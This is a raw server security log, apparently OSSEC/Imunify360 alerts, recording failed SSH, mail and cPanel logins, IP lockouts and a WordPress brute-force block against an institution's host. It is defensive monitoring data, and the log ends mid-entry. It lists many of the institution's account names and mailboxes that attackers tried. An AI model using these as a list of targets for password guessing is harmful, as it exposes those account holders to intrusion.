2025-01-29 23:28:40 dovecot_login authenticator failed for ([58.122.255.6]) [58.122.255.6]:50650: 535 Incorrect authentication data (set_id=valeria553@ait-edu.us)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.195.113.27
description:
Jan 29 23:29:05 ait sshd[556041]: pam_imunify(sshd:auth): [IM360_RBL] The IP 189.195.113.27 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.215.195.65
description:
2025-01-29 23:29:04 dovecot_plain authenticator failed for (162-215-195-65.unifiedlayer.com) [162.215.195.65]:60880: 535 Incorrect authentication data (set_id=postmaster@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 170.233.123.65
description:
[2025-01-29 23:29:46 +0100] info [webmaild] 170.233.123.65 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 147.45.44.84
description:
[2025-01-29 23:29:46 +0100] info [cpaneld] 147.45.44.84 - apsaite001 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 198.12.114.232
description:
Jan 29 23:28:54 ait sshd[555870]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.12.114.232


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.197.181.77
description:
[2025-01-29 23:28:56 +0100] info [webmaild] 181.197.181.77 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.48.49.68
description:
2025-01-29 23:29:14 dovecot_plain authenticator failed for ([144.48.49.68]) [144.48.49.68]:49997: 535 Incorrect authentication data (set_id=postmaster)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.12.114.232
description:
Jan 29 23:28:54 ait sshd[555870]: pam_imunify(sshd:auth): [IM360_RBL] The IP 198.12.114.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.146.45.68
description:
Jan 29 23:29:53 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.146.45.68 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 189.195.113.27
description:
Jan 29 23:29:05 ait sshd[556041]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=189.195.113.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.48.49.68
description:
Jan 29 23:29:12 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.48.49.68 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 162.215.195.65
description:
Jan 29 23:29:02 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 162.215.195.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.146.45.68
description:
2025-01-29 23:29:55 dovecot_plain authenticator failed for ([218.146.45.68]) [218.146.45.68]:58578: 535 Incorrect authentication data (set_id=ddessel@ait-open.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.244.231.239
description:
Jan 29 23:30:05 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.244.231.239 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.193.190.105
description:
Jan 29 23:30:25 ait sshd[556535]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.193.190.105 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.193.190.105
description:
Jan 29 23:30:25 ait sshd[556535]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.193.190.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.227.181.209
description:
Jan 29 23:29:55 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.227.181.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.20.104.161
description:
2025-01-29 23:29:58 dovecot_login authenticator failed for ([127.0.0.1]) [89.20.104.161]:43849: 535 Incorrect authentication data (set_id=bboateng@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 198.12.114.232
description:
Jan 29 23:30:06 ait sshd[556442]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=198.12.114.232


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.199.183.172
description:
2025-01-29 23:30:10 dovecot_plain authenticator failed for (172.183.199.112.unknown.m1.com.sg) [112.199.183.172]:35383: 535 Incorrect authentication data (set_id=ddessel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.222.62.157
description:
[2025-01-29 23:30:34 +0100] info [webmaild] 177.222.62.157 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.20.104.161
description:
Jan 29 23:29:56 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.20.104.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 198.12.114.232
description:
Jan 29 23:30:06 ait sshd[556442]: pam_imunify(sshd:auth): [IM360_RBL] The IP 198.12.114.232 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.23.210.188
description:
2025-01-29 23:30:30 dovecot_plain authenticator failed for (ingrights) [89.23.210.188]:37030: 535 Incorrect authentication data (set_id=eng15a00111y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 23:30:49 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.227.181.209
description:
2025-01-29 23:29:57 dovecot_login authenticator failed for ([127.0.0.1]) [171.227.181.209]:38301: 535 Incorrect authentication data (set_id=bboateng@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.244.231.239
description:
2025-01-29 23:30:07 dovecot_login authenticator failed for ([127.0.0.1]) [120.244.231.239]:47856: 535 Incorrect authentication data (set_id=bboateng)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.199.183.172
description:
Jan 29 23:30:08 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.199.183.172 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 37.182.170.223
description:
Jan 29 23:30:18 ait sshd[556526]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.182.170.223


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.23.210.188
description:
Jan 29 23:30:28 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.23.210.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.192.35.61
description:
Jan 29 23:31:48 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.192.35.61 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 157.100.65.27
description:
[2025-01-29 23:31:34 +0100] info [webmaild] 157.100.65.27 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.194.181.238
description:
2025-01-29 23:31:35 dovecot_plain authenticator failed for ([175.194.181.238]) [175.194.181.238]:56918: 535 Incorrect authentication data (set_id=ads07b99022y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.124.154.242
description:
[2025-01-29 23:31:36 +0100] info [webmaild] 177.124.154.242 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.187.50.49
description:
Jan 29 23:31:08 ait sshd[556859]: pam_imunify(sshd:auth): [IM360_RBL] The IP 185.187.50.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.171.20.211
description:
2025-01-29 23:31:25 dovecot_plain authenticator failed for (106.51.79.73.actcorp.in) [122.171.20.211]:13997: 535 Incorrect authentication data (set_id=ads07b99022y@ait.edu.gh)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 185.187.50.49
description:
Jan 29 23:31:08 ait sshd[556859]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.187.50.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.171.20.211
description:
Jan 29 23:31:23 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.171.20.211 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.194.181.238
description:
Jan 29 23:31:33 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.194.181.238 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.192.35.61
description:
2025-01-29 23:31:50 dovecot_login authenticator failed for ([127.0.0.1]) [117.192.35.61]:50529: 535 Incorrect authentication data (set_id=ads20b00296y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 178.17.183.35
description:
[2025-01-29 23:32:23 +0100] info [webmaild] 178.17.183.35 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.247.219
description:
Jan 29 23:32:52 ait sshd[557507]: pam_imunify(sshd:auth): [IM360_RBL] The IP 165.154.247.219 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 165.154.247.219
description:
Jan 29 23:32:52 ait sshd[557507]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=165.154.247.219


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.205.173.196
description:
2025-01-29 23:31:58 dovecot_login authenticator failed for ([127.0.0.1]) [117.205.173.196]:47646: 535 Incorrect authentication data (set_id=ads20b00296y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.167.19.30
description:
Jan 29 23:32:15 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.167.19.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.167.19.30
description:
2025-01-29 23:32:17 dovecot_plain authenticator failed for ([60.167.19.30]) [60.167.19.30]:54529: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.143.134.110
description:
2025-01-29 23:32:06 dovecot_plain authenticator failed for ([61.143.134.110]) [61.143.134.110]:50610: 535 Incorrect authentication data (set_id=admin@elma-hk.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.205.173.196
description:
Jan 29 23:31:56 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.205.173.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.143.134.110
description:
Jan 29 23:32:04 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.143.134.110 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 147.45.44.84
description:
[2025-01-29 23:32:19 +0100] info [whostmgrd] 147.45.44.84 - apsaite001 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 41.140.194.113
description:
[2025-01-29 23:33:34 +0100] info [webmaild] 41.140.194.113 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 86.102.131.54
description:
Jan 29 23:33:08 ait sshd[557684]: pam_imunify(sshd:auth): [IM360_RBL] The IP 86.102.131.54 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 86.102.131.54
description:
Jan 29 23:33:08 ait sshd[557684]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=86.102.131.54


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.195.113.27
description:
Jan 29 23:33:23 ait sshd[557699]: pam_imunify(sshd:auth): [IM360_RBL] The IP 189.195.113.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.140.162.227
description:
Jan 29 23:33:06 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.140.162.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.140.162.227
description:
2025-01-29 23:33:08 dovecot_plain authenticator failed for broadband-178-140-162-227.ip.moscow.rt.ru [178.140.162.227]:59358: 535 Incorrect authentication data (set_id=adom-oduro@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.36.157.125
description:
Jan 29 23:33:21 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.36.157.125 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 189.195.113.27
description:
Jan 29 23:33:23 ait sshd[557699]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=189.195.113.27


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 165.154.247.219
description:
Jan 29 23:32:55 ait sshd[557507]: Disconnected from invalid user nmr 165.154.247.219 port 42936 [preauth]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.36.157.125
description:
2025-01-29 23:33:23 dovecot_plain authenticator failed for (vipturbo.com.br) [191.36.157.125]:42968: 535 Incorrect authentication data (set_id=adom-oduro)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 190.55.2.81
description:
[2025-01-29 23:33:20 +0100] info [webmaild] 190.55.2.81 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.230.65.53
description:
2025-01-29 23:34:26 dovecot_plain authenticator failed for ([213.230.65.53]) [213.230.65.53]:42576: 535 Incorrect authentication data (set_id=abs21a00043y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 86.102.131.54
description:
Jan 29 23:34:34 ait sshd[557979]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=86.102.131.54


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.195.113.27
description:
Jan 29 23:34:39 ait sshd[557996]: pam_imunify(sshd:auth): [IM360_RBL] The IP 189.195.113.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.182.170.223
description:
Jan 29 23:34:09 ait sshd[557920]: pam_imunify(sshd:auth): [IM360_RBL] The IP 37.182.170.223 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.61.209
description:
2025-01-29 23:34:17 dovecot_plain authenticator failed for ([39.165.61.209]) [39.165.61.209]:58348: 535 Incorrect authentication data (set_id=abs21a00043y@ait.edu.gh)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 189.195.113.27
description:
Jan 29 23:34:42 ait sshd[557996]: Failed password for invalid user server from 189.195.113.27 port 41578 ssh2


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 86.102.131.54
description:
Jan 29 23:34:34 ait sshd[557979]: pam_imunify(sshd:auth): [IM360_RBL] The IP 86.102.131.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.247.219
description:
Jan 29 23:34:53 ait sshd[558083]: pam_imunify(sshd:auth): [IM360_RBL] The IP 165.154.247.219 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 165.154.247.219
description:
Jan 29 23:34:53 ait sshd[558083]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=165.154.247.219


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 37.182.170.223
description:
Jan 29 23:34:09 ait sshd[557920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.182.170.223


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.165.61.209
description:
Jan 29 23:34:15 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.165.61.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.230.65.53
description:
Jan 29 23:34:24 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.230.65.53 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 189.195.113.27
description:
Jan 29 23:34:39 ait sshd[557996]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=189.195.113.27


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.182.170.223
description:
Jan 29 23:35:21 ait sshd[558575]: pam_imunify(sshd:auth): [IM360_RBL] The IP 37.182.170.223 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.193.190.105
description:
Jan 29 23:35:04 ait sshd[558385]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.193.190.105


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.37
description:
2025-01-29 23:35:00 dovecot_plain authenticator failed for ([101.13.5.37]) [101.13.5.37]:45774: 535 Incorrect authentication data (set_id=abs32a11123y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 158.140.32.93
description:
Jan 29 23:35:06 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 158.140.32.93 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 186.42.247.45
description:
[2025-01-29 23:35:35 +0100] info [webmaild] 186.42.247.45 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 86.102.131.54
description:
Jan 29 23:35:51 ait sshd[558757]: pam_imunify(sshd:auth): [IM360_RBL] The IP 86.102.131.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.193.190.105
description:
Jan 29 23:35:04 ait sshd[558385]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.193.190.105 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.140.32.93
description:
2025-01-29 23:35:08 dovecot_plain authenticator failed for ([158.140.32.93]) [158.140.32.93]:44568: 535 Incorrect authentication data (set_id=abs32a11123y)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 37.182.170.223
description:
Jan 29 23:35:21 ait sshd[558575]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.182.170.223


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 86.102.131.54
description:
Jan 29 23:35:51 ait sshd[558757]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=86.102.131.54


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 165.154.247.219
description:
Jan 29 23:34:56 ait sshd[558083]: Failed password for invalid user sammy from 165.154.247.219 port 40912 ssh2


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.5.37
description:
Jan 29 23:34:58 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.5.37 has been locked due to Imunify RBL


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:23-34.80.76.51.123


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.117.92.118
description:
Jan 29 23:36:44 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.117.92.118 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.117.92.118
description:
2025-01-29 23:36:46 dovecot_login authenticator failed for ([202.117.92.118]) [202.117.92.118]:35962: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
description:
2025-01-29 23:36:32 dovecot_login authenticator failed for ([39.165.183.70]) [39.165.183.70]:39122: 535 Incorrect authentication data (set_id=sales@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.162.78
description:
2025-01-29 23:36:35 dovecot_plain authenticator failed for (ordeadial) [65.20.162.78]:37891: 535 Incorrect authentication data (set_id=eng15a00111y@ait.edu.gh)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 86.102.131.54
description:
Jan 29 23:35:55 ait sshd[558757]: Disconnected from invalid user test1 86.102.131.54 port 38142 [preauth]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.162.78
description:
Jan 29 23:36:33 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.162.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.221.237.139
description:
Jan 29 23:36:50 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.221.237.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 23:36:24 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.221.237.139
description:
2025-01-29 23:36:52 dovecot_login authenticator failed for ([127.0.0.1]) [117.221.237.139]:45793: 535 Incorrect authentication data (set_id=eng20a00118y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.165.183.70
description:
Jan 29 23:36:30 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.165.183.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.247.219
description:
Jan 29 23:36:28 ait sshd[559018]: pam_imunify(sshd:auth): [IM360_RBL] The IP 165.154.247.219 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 165.154.247.219
description:
Jan 29 23:36:28 ait sshd[559018]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=165.154.247.219


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.193.190.105
description:
Jan 29 23:36:54 ait sshd[559097]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.193.190.105


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.166.114.45
description:
[2025-01-29 23:37:02 +0100] info [webmaild] 45.166.114.45 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 29 23:37:35 ait sshd[559337]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 29 23:37:35 ait sshd[559337]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.175.109.130
description:
Jan 29 23:37:09 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.175.109.130 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.167.194.204
description:
Jan 29 23:37:13 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.167.194.204 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 196.115.117.0
description:
[2025-01-29 23:37:15 +0100] info [webmaild] 196.115.117.0 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.167.194.204
description:
2025-01-29 23:37:15 dovecot_login authenticator failed for ([127.0.0.1]) [113.167.194.204]:35006: 535 Incorrect authentication data (set_id=eng20a00118y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.175.109.130
description:
2025-01-29 23:37:11 dovecot_login authenticator failed for ([127.0.0.1]) [14.175.109.130]:46256: 535 Incorrect authentication data (set_id=eng20a00118y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.193.190.105
description:
Jan 29 23:36:54 ait sshd[559097]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.193.190.105 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
description:
Jan 29 23:38:17 ait sshd[559686]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 2.57.122.191
description:
Jan 29 23:38:19 ait sshd[559691]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=2.57.122.191


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 23:38:16 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.57.122.191
description:
Jan 29 23:38:19 ait sshd[559691]: pam_imunify(sshd:auth): [IM360_RBL] The IP 2.57.122.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 23:38:40 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.70.177.211
description:
[2025-01-29 23:38:16 +0100] info [webmaild] 177.70.177.211 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
description:
Jan 29 23:38:17 ait sshd[559686]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 109.93.75.135
description:
[2025-01-29 23:38:17 +0100] info [webmaild] 109.93.75.135 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 23:38:30 ait auth[535250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.199.202.11
description:
2025-01-29 23:39:50 dovecot_plain authenticator failed for (381859.cloudwaysapps.com) [128.199.202.11]:47666: 535 Incorrect authentication data (set_id=ads20b00297y)


plugin: ossec
rule: 2501
